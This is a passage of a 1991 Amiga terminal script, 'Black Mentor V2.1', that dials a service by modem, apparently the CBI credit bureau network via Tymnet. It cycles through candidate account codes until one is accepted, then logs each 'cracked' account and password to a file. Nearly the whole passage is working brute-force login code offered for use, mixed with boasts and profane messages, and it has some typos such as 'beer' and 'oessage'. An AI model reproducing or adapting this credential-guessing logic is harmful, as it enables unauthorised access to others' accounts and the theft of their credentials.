CHANGETOW:

set $var = "W"
capture OFF
capture "CBI.CAPTURE"
goto OD

CHANGETOX:

set $var = "X"
capture OFF
capture "CBI.CAPTURE"
goto OD

CHANGETOY:

set $var = "Y"
capture OFF
capture "CBI.CAPTURE"
goto OD

CHANGETOZ:

set $var = "Z"
capture OFF
capture "CBI.CAPTURE"
goto OD

CHANGETOTEST:


if $test=="4" then set $test="5"
if $test=="3" then set $test="4"
if $test=="2" then set $test="3"
if $test=="1" then set $test="2"
if $test=="0" then set $test="1"
set $var = "A"
goto CON

RETRY:

set $error="1"
timeout 90 goto retry
wait "NO CARRIER"
beep
message "\n--[33mCODE FOUND or GARGAGE Error![0m Now [32m B.M. [36m HACKER is [35mDOUBLE CHECKING--[0m\n"
message "\n--[34m--[0m\n"
beep
message "[34m"
send "ATDT"$num"\n"
message "[0m"
timeout 30 goto retry
wait "1200"
delay 1
send "\n\n\n"
timeout 30 goto retry
wait "SIGN-ON"
delay 2
send $id$var$nb".^S"
timeout 85 goto INVALID
wait "PROCEED"
beep
delay 1
beep
delay 1
beep
delay 1
beep
message "^L"
beep
message "\n[34m-=[0m The Password was [34mCRACKED![34m =-[0m\n "
beep
message "\n[34m-=[0m Thanks to Black Mentor V2.1..[34m  =-[0m\n "
beep
delay 1
beep
message "** [35mCODERS: [33mThe Spirit,[32mThe Adept [0m **\n "
beep
beep
delay 1
beep
delay 1
beep
message "-[37mCODE FOUND[0m-:  [33m"$id$var$nb".[0m"
timeout 30 goto GOON2
message "\n[35m You have thirty seconds, before BLACK MENTOR V2.1 goes on..[0m\n"
message "\n\n\n[0m[37m===[0mPRESS [[35mRETURN[0m] to go on![37m===[0m"
beep

GOON2:

write $disk":CBI.CODES" "\n## C.B.I. Account Cracked!.. Full account with PW/->    [33m"$id$var$nb".\n               [0m->[36mBLACK MENTOR V2.1 CREATE By THE SPIRIT (c) 1991[0m<- \n\n"
set $turn=""
beep
delay 1
beep
delay 1
beep
set $id="0"
if $nb=="9" then set $cia="0"
set $fuck="0"
if $test=="4" then set $test="5"
if $test=="3" then set $test="4"
if $test=="2" then set $test="3"
if $test=="1" then set $test="2"
if $test=="0" then set $test="1"
if $test=="2" then set $id2="1"
if $test=="3" then set $id3="1"
if $test=="4" then set $id4="1"
if $test=="5" then set $id5="1"
if !$id2=="1" then goto change
if !$id3=="1" then goto change2
if !$id4=="1" then goto change3
if !$id5=="1" then goto change4
beep
beep
message "\n\n\n           -- [33mPROGRAM TERMINATED[0m --             \n\n"
hangup
delay 2
hangup
capture off
end

FOUND:

set $error="1"
timeout 90 goto OD
wait "NO CARRIER"
beep
message "\n--[33mCODE FOUND or GARGAGE Error![0m To check, [32mB.M [36mC-H is [35mDOUBLE CHECKING--[0m\n"
beep
message "[34m"
send "ATDT"$num"\n"
message "[0m"
timeout 30 goto retry
wait "1200"
delay 1
send "\n\n\n"
timeout 30 goto retry
wait "SIGN-ON"
delay 2
send $id$var$nb".^S"
timeout 85 goto INVALID
wait "PROCEED"
beep
delay 1
beep
delay 1
beep
delay 1
beep
delay 1
beep
message "^L"
message "\n[34m-=[0m The Password was [34mCRACKED![34m =-[0m\n "
message "\n[34m-=[0m Thanks to Black Mentor V2.1..[34m  =-[0m\n "
beep
message "** [35mCODERS: [33mThe Spirit,[32mThe Adept [0m **\n "
beep
beep
message "-[34mCODE FOUND[0m-:  [33m"$id$var$nb".[0m"
timeout 30 goto GOON3
message "\n[35m You have thirty seconds, before BLACK MENTOR V2.1 goes on..[0m\n"
message "\n\n\n[0m[37m===[0mPRESS [[35mRETURN[0m] to go on![37m===[0m"


GOON3:

write $disk":CBI.CODES" "\n## C.B.I. Account Cracked!.. Full Account with PW-->[33m    "$id$var$nb".\n               [0m->[36mBLACK MENTOR V2.1 CREATE By THE SPIRIT (c) 1991[0m<- \n\n"
set $turn=""
beep
delay 1
beep
delay 1
beep
beep
beep
set $id="0"
if $nb=="9" then set $cia="0"
set $fuck="0
if $test=="4" then set $test="5"
if $test=="3" then set $test="4"
if $test=="2" then set $test="3"
if $test=="1" then set $test="2"
if $test=="0" then set $test="1"

if $test=="2" then set $id2="1"
if $test=="3" then set $id3="1"
if $test=="4" then set $id4="1"
if $test=="5" then set $id5="1"
if !$id2=="1" then goto change
if !$id3=="1" then goto change2
if !$id4=="1" then goto change3
if !$id5=="1" then goto change4
capture OFF
message "\n\n\n           -- [33mPROGRAM TERMINATED[0m --             \n\n"
hangup
delay 2
hangup
end

CHANGE:

set $id=$id2
set $nb="0"
beep
message "\n\n[34m-----[33mNOW SWITCHING TO THE SECOND CODE [34m----[0m\n\n"
TIMEOUT 0
WAIT "NO CARRIER"
set $PASS= "OK"
if !$var2=="1" then set $var=$var2
beep
set $spirit="0"
set $turn="DEVIL"
goto od

CHANGE2:

set $id=$id3
set $nb="0"
beep
message "\n\n[34m--=--[36mNOW SWITCHING TO THE [32mTHIRD CODE [34m--=-"
TIMEOUT 0
WAIT "NO CARRIER"
set $PASS= "OK"
if !$var3=="1" then set $var=$var3
set $spirit="0"
set $turn="DEVIL"
beep
goto od

CHANGE3:

set $id=$id4
set $nb="0"
beep
message "\n\n[34m--=--[36mNOW SWITCHING TO THE [32mFOURTH CODE [34m--=-"
TIMEOUT 0
WAIT "NO CARRIER"
set $PASS= "OK"
if !$var4=="1" then set $var=$var4
set $spirit="0"
set $turn="DEVIL"
beep
goto od

CHANGE4:

set $id=$id5
set $nb="0"
beer
oessage "\n\n[34m--=--[36mNOW SWITCHING TO THE [32mLAST CODE! [34m--=-"
TIMEOUT 0
WAIT "NO CARRIER"
set $PASS= "OK"
if !$var5=="1" then set $var=$var5
set $spirit="0"
set $turn="DEVIL"
beep
goto od


INVALID:

beep
message "\n--[33mFalse Alert![0m.. Sorry.. \n"
beep
message "[36mdelay[32m over.. [0mCode is NOT valid! [35mreturning to normal operation.[0m\n"
beep
delay 4
set $PASS= ""
if $nb=="0" then goto od
if $nb=="1" then goto od
if $nb=="2" then goto od
if $nb=="3" then goto od
if $nb=="4" then goto od
if $nb=="5" then goto od
if $nb=="6" then goto od
if $nb=="7" then goto od
if $nb=="8" then goto od
if $nb=="9" then goto od
message "\n\n Something is WRONG! The var NB didn't return a value of 0\n"
message "to 9.. -- [34mTERMINATING PROGRAM[0m --\n "
beep
end

CON:

set $fuck="0"
beep
message "\n\nThe [33mID[0m code you entered is INVALID! It's [32mDEAD![0m\n"
beep
message "\n\n\n"
beep
write $disk":CBI.CODES" "\n## DEAD Account! R.I.P! SCRAAAAAAAP IT!.. (sorry)-->[33m    "$id".\n               [0m->[36mBLACK MENTOR V2.1 CREATE By THE SPIRIT (c) 1991[0m<- \n\n"
set $turn=""
set $id="0"
set $cia="0"
if $test=="2" then set $id2="1"
if $test=="3" then set $id3="1"
if $test=="4" then set $id4="1"
if $test=="5" then set $id5="1"
if !$id2=="1" then goto change
if !$id3=="1" then goto change2
if !$id4=="1" then goto change3
if !$id5=="1" then goto change4
beep
hangup
capture OFF
message"[34m                    ----------[36m PROGRAM TERMINATED![34m--------------[0m"
hangup
delay 2
hangup
end

REALFOUND:

beep
beep
delay 90
beep
message "^L"
message "\n [35m---- [34mPROCEED FOUND! THE CODE IS GOOD! YEAH! [35m----[0m \n"
beep
delay 1
beep
delay 1
beep
delay 1
beep
delay 2
beep
message "\n[34m-- [33mGood. The Password was CRACKED! [34m--[0m "
beep
message "\n[34m-- [33mThanks to Black Mentor V.2.1..  [34m--[0m\n "
beep
delay 3
beep
message "** [35mCODERS: [33mThe Spirit,[32mThe Adept [0m **\n "
beep
beep
delay 1
beep
delay 1
beep
message "-[34mCODE FOUND[0m-:  [33m"$id$var$nb".[0m"
beep
timeout 30 goto GOON4
message "\n[35m You have thirty seconds, before BLACK MENTOR V2.1 goes on..[0m\n"
message "\n\n\n[0m[37m===[0mPRESS [[35mRETURN[0m] to go on![37m===[0m"

GOON4:


beep
write $disk":CBI.CODES" "\n## C.B.I. Account Cracked!.. Full Account with PW-->[33m    "$id$var$nb".\n               [0m->[36mBLACK MENTOR V2.1 CREATE By THE SPIRIT (c) 1991[0m<- \n\n"
set $turn=""
if $nb=="9" then set $cia="0"
if $test=="4" then set $test="5"
if $test=="3" then set $test="4"
if $test=="2" then set $test="3"
if $test=="1" then set $test="2"
if $test=="0" then set $test="1"

if $test=="2" then set $id2="1"
if $test=="3" then set $id3="1"
if $test=="4" then set $id4="1"
if $test=="5" then set $id5="1"
if !$id2=="1" then goto change
if !$id3=="1" then goto change2
if !$id4=="1" then goto change3
if !$id5=="1" then goto change4
delay 1
beep
delay 1
beep
delay 1
beep
delay 1
beep
delay 1
beep
capture off
hangup
hangup
message "\n\n\n           -- [33mPROGRAM TERMINATED[0m --             \n\n"
delay 2
hangup
delay 1
hangup
end

REALDEAD:

beep
message "[36m"
message "\n\n HEY STUPID FUCKEN TYMNET![37m DON'T HANG UP ON ME! DICKHEAD!\n"
delay 1
beep
message " THINK MAYBE THIS PROGRAM AIN'T GOOD ENOUGHT TO GET YA?\n"
delay 1
beep
message " FUCK YOU! I'M REDIALING YOU, SUCKER SO WE CAN GET ON WITH\n"
delay 1
beep
message " THIS HACKING CESSION..BLACK MENTOR'S COMING TO GET YOU.\n "
delay 1
beep
goto HUNGUPP
end

COMEON:

beep
message "^L\n\n\n\n"
message "[0m"
message "   You cannot DISABLE this option.. Although, if you don't want the\n"
message "   CBI.CAPTURE, simply [33mTURN it OFF[0m by pressing ([32mAMIGA+X[0m)..\n\n"
message "   ([35mAnd don't be lame, don't press AMIGA+X until the capture file has\n"
message "   actually been opened!.. When it opens the file, you'll see 'CAP' in red[0m)\n"
message "\n\n\n[37m==[34m=[0mSTRIKE [[33mRETURN[0m][34m=[37m==[0m"
input $anykey "\r"
goto internalconfig
end